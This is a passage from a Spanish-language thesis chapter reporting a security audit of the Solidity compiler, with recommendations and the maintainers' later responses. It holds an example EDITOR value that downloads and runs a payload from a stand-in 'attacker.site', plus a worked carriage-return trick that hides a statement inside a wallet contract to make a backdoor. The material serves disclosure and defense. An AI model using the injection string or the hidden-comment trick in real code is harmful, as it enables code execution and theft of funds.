Auditoría de Software Orientada a Compiladores

Caso de Estudio: Solidity

Matías Ariel Ré Medina
Dr. Ing. José María Massa

Una tésis presentada para el título de
Ingeniería en Sistemas

Ciencias Exactas
UNICEN
Argentina
Junio 2019

Contents

Chapter 1

Resultados

La investigación se situó como parte de un trabajo realizado como investigador independiente bajo contrato con la empresa Zeppelin Solutions. Se integró el equipo de auditoría con intención de aplicar perspectivas de seguridad.

Los resultados mostrados han sido extraídos, traducidos y adaptados del reporte original que se publicó en conjunto y puede ser observado aquí[30]. Asimismo, la distancia temporal que se tomó para permitirle al equipo encargado del proyecto de Solidity responder a cada descubrimiento, posibilitó agregar un seguimiento, el cual se podrá apreciar debajo de cada situación descripta, como nota de **"Actualidad"**.

Se evitó extender esta sección en demasía, teniendo en cuenta que el detalle entero se puede observar para detalles técnicos en profundidad en el reporte técnico previamente publicado. Se hará hincapié en los hallazgos más interesantes, y en los que estén solapados directamente con perspectivas de seguridad.

1.1 Hallazgos por categoría

1.1.1 Problemas de contexto general

1.1.1.1 Se pueden inyectar direcciones inválidas de bibliotecas en la etapa de linkeo.

Un contrato que depende de una biblioteca con funciones públicas tendrá la dirección de la instancia desplegada de la librería en su bytecode. Dado que esta dirección no es conocida por el compilador, tiene que ser provista por el usuario: esto se hace mediante la opción `--libraries` en **solc**. Sin embargo, es imposible no proveer esas direcciones, y dejar el contrato sin estar linkeado; es por eso que una secuencia especial de caracteres, conteniendo el nombre de la biblioteca va a estar presente en el bytecode, previniendo que el contrato sea desplegado sin que la dependencia sea resuelta, utilizando el modo `--link` de **solc**, en el cual el enlace es realizado.

El problema surge en la representación de este string: es truncado a 36 caracteres, y los caracteres remanentes del nombre de la librería son eliminados, sin advertencias. Es posible, entonces, tener múltiples librerías que compartan un nombre truncado, haciendo que compartan un prefijo suficientemente largo. Considerar el ejemplo a continuación:

```
1
2     library OpenZeppelinStdLibraryArray {
3     ...
4     }
5
6     library OpenZeppelinStdLibraryArrayUtils {
7     ...
8     }
9
10    contract Test {
11        function test() public pure returns (uint256) {
12            if (OpenZeppelinStdLibraryArrayUtils.isArrayEmpty(arr)) {
```

```
13              return OpenZeppelinStdLibraryArray.getArrayLength(arr);
14              } else {
15              return 0;
16              }
17          }
18      }
```

El bytecode generado al llamar `solc Test.sol --bin` incluirá dos instancias de la secuencia `'__Test.sol:OpenZeppelinStdLibraryArray__'` (la representación truncada del string del nombre de la librería). Cuando se llama a `solc --link --libraries` con direcciones para ambas librerías, el compilador identificará ambas instancias como referencias repetidas `OpenZeppelinStdLibraryArray`, y reemplazará ambas de ellas con esa dirección, ignorando por completo la dirección provista para la otra librería.

Este problema está compuesto de otro, el cual causa a los nombres de bibliotecas truncados que sólo requieran un *matching* de prefijo, incrementando la superficie de ataque. Considerar las siguientes librerías:

```
1  library OpenZeppelinStandardLibraryArrayCore {
2    ...
3  }
4
5  library OpenZeppelinStandardLibraryArrayUtils {
6    ...
7  }
```

El nombre de librería trucado es `OpenZeppelinStandardLibrary`, pero pasando cualquier string que comience con esa secuencia al comando `--libraries` también hará que a ambas bibliotecas se le asignen la misma dirección, a pesar de el hecho de que ninguna biblioteca ni un marcador de posición (placeholder) en el bytecode se asemeje a ese string, por ejemplo: `solc Test.sol --bin | solc --link --libraries "OpenZeppelinStdLibraryArrayCollection:<address>"`.

Se recomendó considerar remover el tamaño máximo de nombre de librería por completo, o rediseñar la implementación para que permite utilizar librerías con nombres largos.

Actualidad: Existen *issues* abiertos previos al respecto, **#579**[20], **#3918**[22] y **#4429**[18]. El equipo de Solidity respondió "Esta función no está aconsejada, los usuarios deben usar el json estándar que genera las referencias de enlace. Esto es sólo un problema en la interfaz en desuso del compilador". Solucionado en **PR#5145**[26].

1.1.1.2 Llamadas inseguras al sistema pueden llevar a una ejecución de comandos durante la etapa de testeo.

Comandos no sanitizados dados como argumentos para llamar a **system()** (o funciones similares como **popen()**) pueden permitir a un atacante ejecutar comandos de sistema arbitrarios.

El siguiente código de **isoltest** abre un editor del sistema al encontrar un error mientras testea contratos en Solidity: `/test/tools/isoltest.cpp:236`

```
1  if (system((editor + " \"" + m_path.string() + "\"").c_str()))
2    cerr << "Error running editor command." << endl << endl;
3    return Request::Rerun;
```

El problema con el código anterior es que la llamada al sistema está hecha sobre una combinación de dos variables, y una de ellas no está propiamente sanitizada. **m_path** es el path para el contrato en cuestión pero **editor** proviene de una variable de entorno, la cual controlada por un atacante puede resultar en una ejecución de comandos.

Como un simple ejemplo de cómo esto puede ser explotado, imaginemos el caso en el que un atacante haya accedido de alguna manera a manipular el contenido de la variable de entorno `EDITOR`, y lo haya modificado de la siguiente manera:

```
1      EDITOR='wget http://attacker.site/expl;chmod +x expl;./expl; vim'
```

Listing 1.1: bash version

Cuando un error sea encontrado en algún contrato, un aviso preguntará si se quiere *editar, actualizar expectativas, saltear o salir*. En caso de elegir editar, el comportamiento normal sería que se abra el editor por defecto del sistema o uno especificado manualmente mediante `--editor`.

Teniendo la variable de entorno bajo control, esto resultaría en la ejecución del comando insertado, descargando mediante **wget** un ***exploit***, dándole permisos de ejecución, ejecutándose, y continuando con la edición del testeo utilizando el editor **vim** para evitar sospechas.

Notar que utilizar la opción `--editor` posee el mismo problema.

Se recomendó considerar utilizar un abordaje diferente que no utilice un intérprete directo. Por ejemplo **execv** o **execve**, que trabajan de manera diferente, realizando una bifurcación a nuevos procesos (*fork* de ahora en adelante) y creando el *command string* de una manera que elimina preocupaciones sobre *buffer overflows* o *string truncation*. Más información aquí[9].

Actualidad: El equipo de Solidity respondió: "Cabe señalar que esto no es parte del código de producción. Es solo una parte de la infraestructura de prueba. Queremos ejecutar el editor, por lo que esto siempre resultará en la ejecución del código. Una contramedida sería verificar si 'EDITOR' es la ruta directa de un archivo ejecutable y también imprimir el archivo antes de que se le pregunte al usuario qué hacer con respecto a la falla. Además, si un atacante tiene control sobre las variables de entorno en una máquina de compilación, no hay absolutamente ninguna manera de protegerse contra tal ataque. Una variable de entorno que casi con certeza conducirá a un exploit es, por ejemplo, "CC": el compilador de C y probablemente haya toneladas más". La discusión continúa en el issue **#5159**[15].

1.1.1.3 Manejo inseguro de strings en la infraestructura de testeo.

strcpy no chequea por *buffer overflows* cuando copia a destino, y es por esto, que su uso es considerado peligroso para muchos[28] (a pesar de que estos chequeos se puedan realizar manualmente).
`test/RPCSession.cpp:63`

```
1 if (_path.length() >= sizeof(sockaddr_un::sun_path))
2     BOOST_FAIL("Error opening IPC: socket path is too long!");
3
4 struct sockaddr_un saun;
5 memset(&saun, 0, sizeof(sockaddr_un));
6 saun.sun_family = AF_UNIX;
7 strcpy(saun.sun_path, _path.c_str());
```

Nota: El código actual no parece ser vulnerable, pero el uso de strcpy es fuertemente desalentado cuando alternativas seguras se encuentran disponibles.

Se recomendó considerar utilizar **strcpy_s**, ó **strlcpy** en su reemplazo.

Actualidad: El uso de *strcpy* sigue vigente al menos en esta parte del código.

1.1.2 Auditorías previas

En esta sección se analizaron problemas reportados por auditorías anteriores, observando su estado durante la investigación mediante reproducción en casos de test.

1.1.2.1 La auditoría llevada a cabo por Coinspect posee issues desatendidos.

En el 2017, Coinspect realizó una auditoría[31] al código fuente del compilador de Solidity. La auditoría anterior reveló diez problemas, de los cuales a la hora de realizar la investigación tres permanecieron desatendidos (SOL-005, SOL-010), con la excepción de uno que fue solucionado en simultáneo (SOL-007). La mayoría de ellos fueron tratados como advertencias hasta la versión v0.4.24, y en la versión v0.5.0 se interpretan como errores.

La descripción de los problemas son directas, con un seguimiento a su estado actual y código Solidity utilizado para re-confirmar las declaraciones. Ver Apéndice A[referencia] para leer los de-

talles de cada problema reportado.

Se recomendó considerar la implementación de correcciones lo más pronto posible, particularmente para problemas que han sido compartidos públicamente.

Actualidad: Comentario del equipo de Solidity: "Los dos restantes requieren la eliminación de funciones del idioma programado para la versión 0.6.0". SOL-005 fue solucionado en **#3324**.

1.1.3 Salud de proyecto

Una verificación del estado de salud del proyecto permite al equipo dar un paso atrás en la ejecución diaria de tareas para evaluar el estado real del proyecto de una manera objetiva. Los beneficios de realizar una verificación de salud del proyecto incluyen: Identificar los problemas antes de que ocurran, lo que puede ahorrar mucho tiempo y dinero.

1.1.3.1 Sólo se emiten advertencias para problemas conocidos de retrocompatibilidad.

Solidity hace lo mejor para preservar la retro compatibilidad al no presentar cambios disruptivos en releases menores, mediante la emisión de notas de deprecación en mensajes de advertencia y sugiriendo cambios cuando detecta problemas potenciales en el código. Este es el procedimiento standard para la mayoría de los proyectos.

Sin embargo, Solidity no es un proyecto standard de software: el código generado por él corre *smart contracts*, los cuales sin inmutables y sus transacciones irreversibles. Medidas deberían ser tomadas para asesorar la seguridad del código de usuario de la manera más sencilla posible. Mientras que plataformas tales como **Etherscan** permiten la verificación del código de un contrato, no emiten las advertencias que fueron expedidas durante la compilación, forzando al usuarios a 1) recordar todos las cuestiones conocidas y chequear que ninguna de ellas esté presente, o 2) compilar el contrato localmente, incrementando significativamente la barrera de entrada para un desarrollador que está leyendo el código. **Etherscan** podría mostrar estas advertencias, pero sería mejor si esta responsabilidad no es transferida, y que dicho código no sea permitido en primer lugar.

Considerar un contrato verificado que visualmente asimila ser inocente[5]. Un problema conocido como referencias sin inicializar, o setear un almacenamiento por defecto, causan en el contrato que una llamada a `applyRaises` también modifique el *owner*(término para referirse a quién controla el contrato) del contrato como un efecto secundario (como puede ser visto en el historial de transacciones). No se muestran advertencias, ni se encontraría en la mayoría de los testeos (dado que la mayoría de los testeos corren de manera independiente por diseño, y generalmente no se chequearía que el owner no haya cambiado después de una llamada a una función de este estilo).

Se recomendó realizar cambios disruptivos (*breaking changes*) al corregir este tipo de errores (almacenamiento no inicializado, funciones de construcción sin la palabra reservada `constructor`, etc.).

Actualidad: La versión v0.5.0 introdujo breaking changes para estas cuestiones.

1.1.3.2 El bus factor es de 2.

Se conoce como *bus factor* a "la mínima cantidad de miembros de un equipo que tienen que desaparecer repentinamente de un proyecto para que el proyecto colapse debido a la falta de personal competente o con entendimiento." (traducido de Wikipedia[1]). Un factor de bus bajo expone al proyecto a muchos riesgos y hace que el desarrollo sea más lento, mientras que un factor de bus más alto muestra una comunidad más acogedora que difunde el conocimiento y ayuda a los nuevos miembros a asumir responsabilidades y sentirse parte del proyecto. Con solo dos mantenedores activos[8], el factor bus de Solidity es muy bajo. Se requiere un factor de bus más alto para la sostenibilidad a largo plazo del proyecto.

Se recomendó considerar la posibilidad de asesorar a algunos de los contribuidores frecuentes actuales para ayudarlos a convertirse en mantenedores. Ellos pueden, a su vez, ayudar a obtener más colaboradores al documentar sus aprendizajes, reportar problemas para las partes del proceso que son demasiado complicados y difundir la información sobre las buenas maneras de involucrarse.

Actualidad: Desde marzo de 2018[7], al menos dos contribuyentes muy activos han estado aportando constantemente en varias áreas del proyecto. Están en un buen camino para unirse al equipo de mantenedores pronto.

1.1.4 Detalles en torno a la documentación

1.1.4.1 Archivo README para las optimizaciones de Yul incompleto.

Hay un archivo README[23] para el optimizador de *Yul*, que incluye información muy útil, pero está incompleto: algunas etapas de optimización no se explican y algunas secciones están vacías o son demasiado escasas.

Considere reorganizar este documento para explicar primero la arquitectura del optimizador, y luego las diferentes etapas y sus efectos. Una alternativa sería eliminar este archivo README y documentar todo como comentarios sobre el código fuente.

Actualidad: el equipo de Solidity respondió: "El componente aún se encuentra en la fase de investigación y, por lo tanto, no merece la pena documentarlo en esta etapa. Una vez que sea parte del código activo, estará completamente documentado". Actualmente en v0.5.13 se encuentra un documento[33] mucho más detallado.

1.1.4.2 Falta información para poder utilizar el fuzzer contenido en el proyecto.

Algunas distribuciones de Linux fallarán siguiendo los pasos descritos para construir el fuzzer y no hay sección que permita solventar los problemas encontrados.

Se recomendó considerar la elaboración de estas instrucciones, realizar pruebas en diferentes plataformas y especificar soluciones alternativas para compilarlas para cada distribución.

Actualidad: un *pull request* **PR#4360**[25] con información adicional ha sido incorporado.

1.1.5 Situaciones en torno al testeo del proyecto

1.1.5.1 No se encuentra reporte de cobertura de código.

El código sin pruebas unitarias puede tener pequeños errores que son difíciles de detectar en las revisiones de código, que pueden causar vulnerabilidades de seguridad y errores de funcionalidad. Si no hay un informe sobre la cobertura del *unit test* (test unitario), se desconoce la minuciosidad de la prueba, lo que dificulta encontrar las secciones del código que necesitan atención adicional. Además, cuando se propone un *pull request*, es difícil identificar si todas las rutas de código posibles están cubiertas por pruebas automatizadas.

Se recomendó considerar la posibilidad de generar un informe de *unit test coverage*(test unitario de covertura) para comprender mejor el estado actual de la base de código y automatizar la generación de dicho informe para los *pull requests* y así garantizar que todos los cambios incorporados tengan todas las rutas de código posibles cubiertas.

Actualización: Este *issue*[12] ya ha sido resuelto.

1.1.5.2 Bajo nivel de unit test coverage.

A partir del 26 de Septiembre, la cobertura de pruebas reportada del branch develop[3] fue del 87,91%.

Este informe de cobertura es para la ejecución combinada de pruebas unitarias con algunas pruebas de integración que cubren varias unidades de código al mismo tiempo. Por lo tanto, el porcentaje de cobertura parece alto, pero en realidad no se posee una visión clara de cuántas afirmaciones se verificaron y determinaron con pruebas unitarias.

Se recomendó considerar medir solo la cobertura de prueba unitaria y aumentarla al menos al 95%. La cobertura de las pruebas de alto nivel se pueden analizar de manera diferente a través de *user stories* o una lista de verificación de características del lenguaje.

Además, se recomendó considerar la refacción de las pruebas unitarias para asegurarse de que están llamando a una sola función pública, ejerciendo una única rama de código y que terminen de afirmar el comportamiento esperado de esa rama en particular. De esta manera, se puede vincular con confianza la cobertura de la prueba unitaria al número de afirmaciones que se comportan como se espera, con los beneficios adicionales de que las pruebas servirán como una documentación clara de lo que el compilador debe hacer en cada caso, y que seguirá un diseño totalmente comprobable y determinista.

Actualidad: En el momento de esta redacción, aún la mayoría de las secciones del proyecto se encuentran debajo del 95%, pero a comparación con la primera medición todos los porcentajes fueron en incremento superando aproximadamente el 85%[4] para todos los casos.

1.1.5.3 No hay una estructura clara de testing.

Aunque el proyecto tiene un número significativo de pruebas que cubren diferentes áreas de la Pirámide de Pruebas, no está claro qué pruebas pertenecen a qué área de la estructura, qué áreas están cubiertas y qué parte de cada área está cubierta.

La base de la pirámide se aborda claramente con pruebas unitarias en los elementos más granulares del código del compilador, pero no hay información de cobertura, como se aborda en otra parte de la auditoría.

El siguiente nivel de la pirámide consiste en compilar un conjunto de contratos conocidos y ejecutarlos contra el cliente `cpp-ethereum` con diferentes versiones de EVM. No hay pruebas de rendimiento, no hay pruebas de uso de gas, no hay pruebas de revestimiento que aborden el estilo del código, no hay pruebas de estrés.

Se recomendó considerar el diseño y la documentación de una estructura piramidal clara para el conjunto de pruebas del proyecto. Con una estructura de este tipo en su lugar, agregar capas a la pirámide y obtener el control de la cobertura de cada nivel debería ser un proceso sistemático y progresivo.

Actualidad: Se crearon los issues **#5165**[13] y **#5252**[14], los cuales siguen sin resolverse bajo la categoría de testing.

1.1.5.4 No hay pruebas estáticas que impongan un estilo de código consistente.

Un estilo de código coherente es esencial para que el código base sea claro y legible, y para que sea posible combinar contribuciones de personas muy diversas, como es el caso en proyectos open source.

Considere hacer que todos los archivos del proyecto sigan la guía de estilo de código documentada[29] e imponer que cada contribución nueva se adhiera a este estilo de código agregando una comprobación con *linters* que se ejecuten en cada *pull request*.

Actualidad: El equipo de Solidity respondió: "Hemos comenzado a agregar algunas comprobaciones. El problema principal es que las personas externas no entienden cuándo o por qué fallan las pruebas de estilo de código, tenemos que hacerlo más visible". La discusión continúa en el issue **#5241**.

1.1.5.5 Es muy difícil realizar pruebas localmente.

A pesar de que la sección de "Ejecución de las pruebas del compilador"[6] es muy detallada y clara, la ruta "feliz" para ejecutar todas las pruebas con éxito es muy frágil y es casi imposible de lograr en muchos sistemas operativos / distribuciones comunes (Manjaro, Archlinux, Mint 18 Sarah, Ubuntu Xenial y Bionic, etc). El script de prueba a menudo demora indefinidamente de manera silenciosa en las pruebas de `cpp-ethereum`, y no está claro cuándo se completó con éxito el conjunto de pruebas o si algo salió mal.

Las pruebas no funcionan con ninguna versión de `cpp-ethereum` y la documentación se vincula a un binario específico de `cpp-ethereum` sin ninguna explicación particular de por qué se requiere esta versión.

Estos problemas pueden disuadir a alguien que desea contribuir al proyecto y verificar los cambios a nivel local antes de enviarlos para el análisis de CI (integración contínua).

Se recomendó considerar los siguientes puntos para mejorar la experiencia del desarrollador con respecto a las pruebas:

- Asegurar que la guía "ejecución de las pruebas del compilador" funcione en todas las plataformas compatibles y establezca cuáles son las compatibles.
- Definir claramente qué salida se espera para una ejecución exitosa del 100% del conjunto de pruebas.
- Proporcionar más información sobre la versión particular de `cpp-ethereum` requerida para las pruebas.

Actualidad: *issue* para el seguimiento de cambios en la documentación **#5166**[19]. Actualmente es un trabajo en proceso.

1.1.6 Problemas en torno a la compilación del proyecto

1.1.6.1 La construcción en algunas distribuciones de Linux falla.

Cuando se trata de construir en Linux, la documentación simplemente indica que se admiten "numerosas distribuciones de Linux"[10]. Cuando se construye en una distribución que no es muy común para los contribuyentes de Solidity, se espera que surjan algunos problemas en el camino. Por ejemplo, a pesar de que el *script* `install_deps.sh`[11] tiene la capacidad de apuntar a *Archlinux*, no reconoce a *Manjaro Linux* como una distribución *Arch*, lo que da como resultado una distribución de Linux no admitida o no identificada.

Dado que las pruebas de CI para Linux solo se realizan en Ubuntu, depende de los contribuyentes con otras distribuciones descubrir estos errores, lo que se traduce en una experiencia terrible para el desarrollador y podría alejar a los posibles contribuyentes valiosos.

Además, las dependencias también pueden quedar obsoletas o introducir nuevos problemas que hacen que la creación y/o prueba en una plataforma específica sea imposible. Un ejemplo de esto fueron las fallas de compilación con el solucionador (solver) de **CVC4**, cuando se encuentran presentes en el sistema operativo, el compilador intentaría integrarlo a la compilación pero fallaría ya que las interfaces eran inconsistentes debido a las diferentes versiones y no había manera de deshabilitarlas (hasta ahora[24].

Se recomendó considerar la especificación de qué distribuciones de Linux son compatibles para la construcción en la documentación, e introducir pruebas de CI que simplemente aseguren que el compilador pueda integrarse en ellas. Además, agregar una pequeña sección en la documentación que explica cómo usar un contenedor para compilar el compilador en una de las plataformas compatibles.

Actualidad: parte de este problema, relacionado con la construcción en Archlinux y distribuciones similares, se trató en los *issues* **#4377**[21], **#4762**[17] y **#4767**[16].

1.1.6.2 Archivo faltante a la hora de compilar utilizando SANITIZE.

El flag de cmake llamado `SANITIZE` del archivo `EthCompilerSettings.cmake`[2] lee una blacklist (lista negra) de entidades a ignorar desde `sanitizer-blacklist.txt` a la hora de construir el proyecto. Tal archivo se encuentra inexistente en el proyecto, y para poder compilar sin que falle, se debe eliminar la siguiente línea, o crear un archivo vacío con ese nombre.

```
-fsanitize-blacklist=${CMAKE_SOURCE_DIR}/sanitizer-blacklist.txt"
```

Se recomendó considerar la incorporación del archivo o verificar si este existe antes de la compilación.

Actualidad: Se eliminó por completo el uso de una blacklist en la rama de *develop* (**PR#4560**[27]) y siguientes releases.

1.1.6.3 Manejo inseguro de variables de entorno en infraestructura de prueba.

Hay varias instancias en las que las variables de entorno se utilizan en las pruebas sin ningún tipo de control o saneamiento. Estas pueden haber sido modificadas por un atacante y, por lo tanto, deben tratarse con el mismo nivel de atención que cualquier otra información no confiable.

`/test/tools/isoltest.cpp:312`

```
if (getenv("EDITOR"))
    SyntaxTestTool::editor = getenv("EDITOR");
```

`/test/Options.cpp:67`

```
if (!disableIPC && ipcPath.empty())
    if (auto path = getenv("ETH_TEST_IPC"))
        ipcPath = path;
```

`/test/Options.cpp:70`

```
if (testPath.empty())
    if (auto path = getenv("ETH_TEST_PATH"))
        testPath = path;
```

Se recomendó considerar revisar cuidadosamente las variables de entorno antes de usarlas. Por ejemplo, si se espera una ruta, verificar que sea realmente una ruta antes de usar esa variable.

Actualidad: El equipo de Solidity respondió: *"Como se explica en el otro issue, no creemos que tenga ningún valor protegerse contra un atacante que tenga control sobre las variables del entorno"*.

1.1.7 Problemas entorno al diseño del compilador

1.1.7.1 Los comentarios se pueden disfrazar de código ejecutable.

Es posible tener comentarios en un archivo Solidity que se verán como código ejecutable en la mayoría de los editores. Al analizar los comentarios, todos los caracteres se omiten hasta que se encuentra un carácter terminador de línea. Esto se puede ver en el código de `skipSingleLineComment` a continuación:

```
Token::Value Scanner::skipSingleLineComment() {
   while (!isLineTerminator(m_char))
       if (!advance()) break;
   return Token::Whitespace;
}
```

El código para `isLineTerminator` comprueba si el carácter actual es igual a `\n (hex 0x0a)`:

```
bool isLineTerminator(char c) {
   return c == '\n';
}
```

El problema es que hay caracteres distintos de `\n` que representan una nueva línea en UTF-8. Un ejemplo es el carriage return (retorno de carro, hex 0x0d), que fue el carácter de salto de línea predeterminado para MacOS hasta MacOS 9 (lanzado en 1999). Por lo tanto, el analizador considerará todo lo que sigue al *carriage return* como parte de la misma línea, marcándolo como

un comentario e ignorando su contenido.

Considerar el siguiente ejemplo de una wallet compartida, donde se pueden depositar fondos asociados a un *address*, y luego solo pueden ser recuperarlos con ese *address*:

```
pragma solidity ^0.4.24;

contract SharedWallet {

 mapping (address => uint) pendingWithdrawals;

 function deposit() public payable {
   pendingWithdrawals[msg.sender] += msg.value;
 }

 function withdraw() public {
   uint amount = pendingWithdrawals[msg.sender];
   // Remember to zero the pending refund before
   // sending to prevent re-entrancy attacks
   pendingWithdrawals[msg.sender] = 0;
   msg.sender.transfer(amount);
 }
}
```

Pero, hay una trampa. Un usuario puede ver el código anterior exactamente como se muestra en este documento, pero el carácter de nueva línea utilizado en el último comentario no es como los otros.

Este es el código manipulado:

```
// sending to prevent re-entrancy attacks
 pendingWithdrawals[msg.sender] = 0;
```

Con el hexadecimal equivalente:

```
2f2f 2073656e64696e67 746f 70726576656e74 72652d656e7472616e6379 61747461636b730d
70656e64696e6757697468647261776177616c735b6d73672e73656e6465725d 3d 303b0a
```

El analizador reconocerá los primeros dos caracteres `(0x2f2f)` como un token de comentario de una sola línea y consumirá todo lo que quede, hasta el siguiente token de nueva línea `(0x0a)`, faltando el carriage return `(0x0d)` en el camino. Por lo tanto, el compilador nunca procesa la asignación de mapeo.

Lo que realmente sería compilado es esto:

```
//...
function withdraw() public {
  uint amount = pendingWithdrawals[msg.sender];
  // Remember to zero the pending refund before
  // sending to prevent re-entrancy attacks pendingWithdrawals[msg.sender] = 0;
  msg.sender.transfer(amount);
}
```

Lo que el atacante ha logrado es engañar al lector para que piense que la función de retorno permitirá que el participante retire solo lo que se había depositado anteriormente, pero en cambio le permitirá al participante retirar la misma cantidad sin límite, ya que no se realiza la asignación a cero.

Los sistemas de comando Unix que involucran `stdout` se comportarán de manera diferente: `cat`, por ejemplo, no mostrará el comentario en absoluto. Esto se debe a que la línea que sigue al retorno de carro está escribiendo sobre los caracteres de la línea anterior, e incluso `diff` no podrá mostrar la diferencia entre los archivos originales y los malintencionados, sin embargo, un editor para terminales como `vim` podrá; los editores modernos no-terminales lo mostrarán como una nueva línea regular.

El comportamiento actual del compilador permite crear backdoors casi indetectables con poco esfuerzo. Se recomendó agregar todas los distintos tipos de salto de línea no adaptados, reconocidos por el estándar de Unicode[32] a `isLineTerminator`, y probar un comportamiento más inesperado

mientras maneja los caracteres válidos y no válidos de UTF-8.

Actualidad: se ha aplicado una solución[**GHPR**] y se ha publicado en `v0.4.25`. Line feed, vertical tab, form feed, carriage return, NEL, LS y PS ahora se consideran válidos para terminar un comentario de una sola línea.

1.1.7.2 Todos los strings son UTF-8.

Las cadenas en Solidity no solo se usan para mostrar información: por ejemplo, es muy común que sean la clave de un mapeo. Debido a que UTF-8 permite múltiples caracteres invisibles (por ejemplo, ZERO WIDTH SPACE), y para caracteres que se parecen casi a caracteres comunes (por ejemplo, GREEK QUESTION MARK), este uso puede ser extremadamente problemático, y puede llevar a backdoors, exploits, etc. Esto afecta a los principales contratos de control de acceso, al igual que muchas otras implementaciones basadas en strings.

Se recomendó considerar agregar un tipo de string que no sea UTF-8 para evitar que estas situaciones surjan en primer lugar.

Actualidad: issue #5167 creado.

1.1.7.3 Los modificadores se pueden anular sin una sintaxis especial o advertencias.

Los contratos pueden anular cualquier modificador en el árbol de herencia simplemente definiendo uno nuevo con la misma firma (signature, una combinación única de caracteres para identificar una estructura y así después poder referenciarla). Si bien se produce un error si la firma de reemplazo no coincide, no hay advertencias para el caso en el que lo hacen.

```
contract Ownable {
 address public owner;

 modifier onlyOwner() {
  require(msg.sender == owner);
  _;
 }
}
contract ModifierOverride is Ownable {
 modifier onlyOwner() {
  _;
 }
}
```

Los modificadores (modifier) se usan normalmente para el control de acceso, el saneamiento de entradas, etc., permitiendo anulaciones de este tipo que son un riesgo para la seguridad, ya que obliga a los desarrolladores a revisar el código para verificar manualmente cada modificador de manera individual para ver si está anulando otro, y la herencia múltiple hace la tarea aún más engorrosa.

Es bastante común que los desarrolladores declaren un modificador y anulen involuntariamente a su declaración anterior, en algunos casos con graves consecuencias para la seguridad de la aplicación.

Se recomendó considerar agregar una palabra clave como override, con una sintaxis similar a la de C++11. Esto asegurará que las modificaciones del modificador sean siempre explícitas, tanto para los desarrolladores como para los revisores de códigos.

Actualidad: El equipo de Solidity respondió: "Hay varios problemas al respecto. Probablemente se arreglará en v0.6.0". Hubo un intento de solucionar el inconveniente en PR#3737, y continúa en etapa pendiente para testear con la versión v0.6.0. Ver issues #2563 y #973.

1.1.7.4 Las variables de estado se pueden ver opacadas por otras.

Los contratos que heredan de otros contratos pueden declarar variables de estado con el mismo nombre que las variables internal o public en un contrato base, utilizando un nuevo slot (ranura)

de almacenamiento y ocultando las originales. Esto significa que los accesos desde la base y el contrato derivado se referirán a las instancias declaradas en cada una, a pesar de que el nombre sea el mismo. También habrá una sola función getter generada automáticamente, dirigida a la variable del contrato que está en el último gráfico de la herencia. Por ejemplo, en el siguiente código, baseGetter devolverá un address, derivedGetter devolverá un uint256, y el getter de x generado automáticamente devolverá un valor de uint256:

```
pragma solidity ^0.4.24;

contract Base {
  address public x;

  constructor() public {
    x = msg.sender;
  }

  function baseGetter() public view returns (address) {
    return x;
  }

}
```

```
contract Derived is Base {
  uint256 public x;

  constructor() public {
    x = 20;
  }

  function derivedGetter() public view returns (uint256) {
    return x;
  }
}
```

Este comportamiento puede ser confuso tanto para principiantes como para usuarios avanzados, especialmente cuando se trata de la sustitución de los getters generados automáticamente.

Considere rechazar la reutilización de nombres de variables internas y públicas de un contrato base.

1.1.7.5 No hay ningún mecanismo para evitar que se invaliden las funciones.

Si bien la herencia es muy conveniente para diseñar funcionalidades de forma modular, la falta de un mecanismo para deshabilitar la anulación de una función puede causar problemas. Resulta difícil razonar acerca de un contrato como una entidad aislada, ya que sus funciones pueden haber sido modificadas por otros contratos en el árbol de herencia. Esto eleva el nivel para entender un contrato inteligente al simplemente leer su código, permite backdoors sutiles y evita que los desarrolladores demuestren sus intenciones. El issue #501 de OpenZeppelin es un ejemplo en el que la incapacidad de verificar si un contrato derivado modifica el comportamiento de la base causó discusiones y confusión.

Se recomendó considerar agregar una palabra clave final o sealed que deshabilite los reemplazos para funciones y modificadores, causando un error del compilador si se hace un intento de modificarlos.

Actualidad: el equipo de Solidity respondió: "Probablemente sea mejor requerir una palabra clave como virtual si una función puede ser modificada por un contrato derivado y el valor predeterminado debe ser sealed. Esto se solucionará con la limpieza de herencia para v0.6.0". Ver issue #5424.

1.1.7.6 Se permiten secuencias UTF-8 no válidas en los comentarios.

Al analizar los comentarios (parsing), todos los caracteres se omiten hasta que se encuentra un carácter de nueva línea. Esto significa que las secuencias UTF-8 no válidas dentro de los comentarios no serán detectadas, lo que potencialmente podría conducir a un código no esperado/autorizado

(es decir, lo que parece un comentario puede contener código).

Esto generalmente no es un problema, ya que la mayoría de los editores ignorarán las secuencias no válidas y se volverán a sincronizar con la secuencia tan pronto como se encuentre un carácter válido. Sin embargo, dado que realizar revisiones de código en el código fuente de Solidity es una tarea tan crítica, sería preferible no cargar con esta responsabilidad a todos los editores.

Se recomendó considerar el escaneo de todo el código fuente y rechazar código UTF-8 no conform (non-compliant) antes de realizar cualquier análisis.

1.1.8 Problemas en torno al proceso de optimización

1.1.8.1 Las optimizaciones opcionales pueden no ser seguras.

Debido a que algunas optimizaciones son opcionales, no están tan probadas como otras optimizaciones comúnmente usadas.

Se recomendó considerar el aumento de la cobertura del código de optimización, agregar informes de código de Solidity optimizado probado y agregar un aviso / advertencia cuando las optimizaciones estén habilitadas.

Luego, considerar animar a los desarrolladores a contribuir con Solidity al habilitar estas optimizaciones en las compilaciones de sus proyectos.

Actualidad: el equipo de Solidity respondió: "Todas las pruebas semánticas se ejecutan con el optimizador activado y el optimizador desactivado. Además, todos ellos se ejecutan en combinación con varias versiones de la EVM".

1.1.8.2 El código de las optimizaciones en el assembler (libevmasm) es difícil de leer.

El código de optimizaciones es muy difícil de leer en libevmasm. Esto hace que sea difícil para los revisores de código interpretar, para que los contribuyentes mejoren y para que los desarrolladores agreguen pruebas.

Se recomendó considerar la posibilidad de refactorizar estos archivos utilizando los Clean Code Principles (principios de código limpio). En particular, evite tener bloques profundamente anidados, números mágicos, funciones largas y código complejo sin comentarios.

Actualidad: este código de optimizaciones se eliminará y solo se utilizarán las optimizaciones de YUL.

1.1.9 Problemas en el contexto de mensajes (de salida)

1.1.9.1 No hay mensaje de error en las referencias de almacenamiento no inicializadas.

Cualquier escritura en una referencia de un uninitialized storage reference (almacenamiento no inicializada) puede sobrescribir el estado, ya que las referencias siempre tendrán un valor predeterminado. Esto, combinado con el hecho de que los tipos de referencia apuntan al storage por defecto, hace que sea muy fácil escribir código que se vea bien para un no experto, pero que en realidad contenga un error grave o un backdoor.

En el siguiente contrato, aunque foo no accede directamente a "a", lo modifica, y será igual a 3 después de llamar a foo (porque la longitud de "b" lo sobrescribirá).

```
1 pragma solidity ^0.4.24;
2 contract Storage {
3  uint256 public a;
```

```
4   constructor () public {
5    a = 8;
6   }
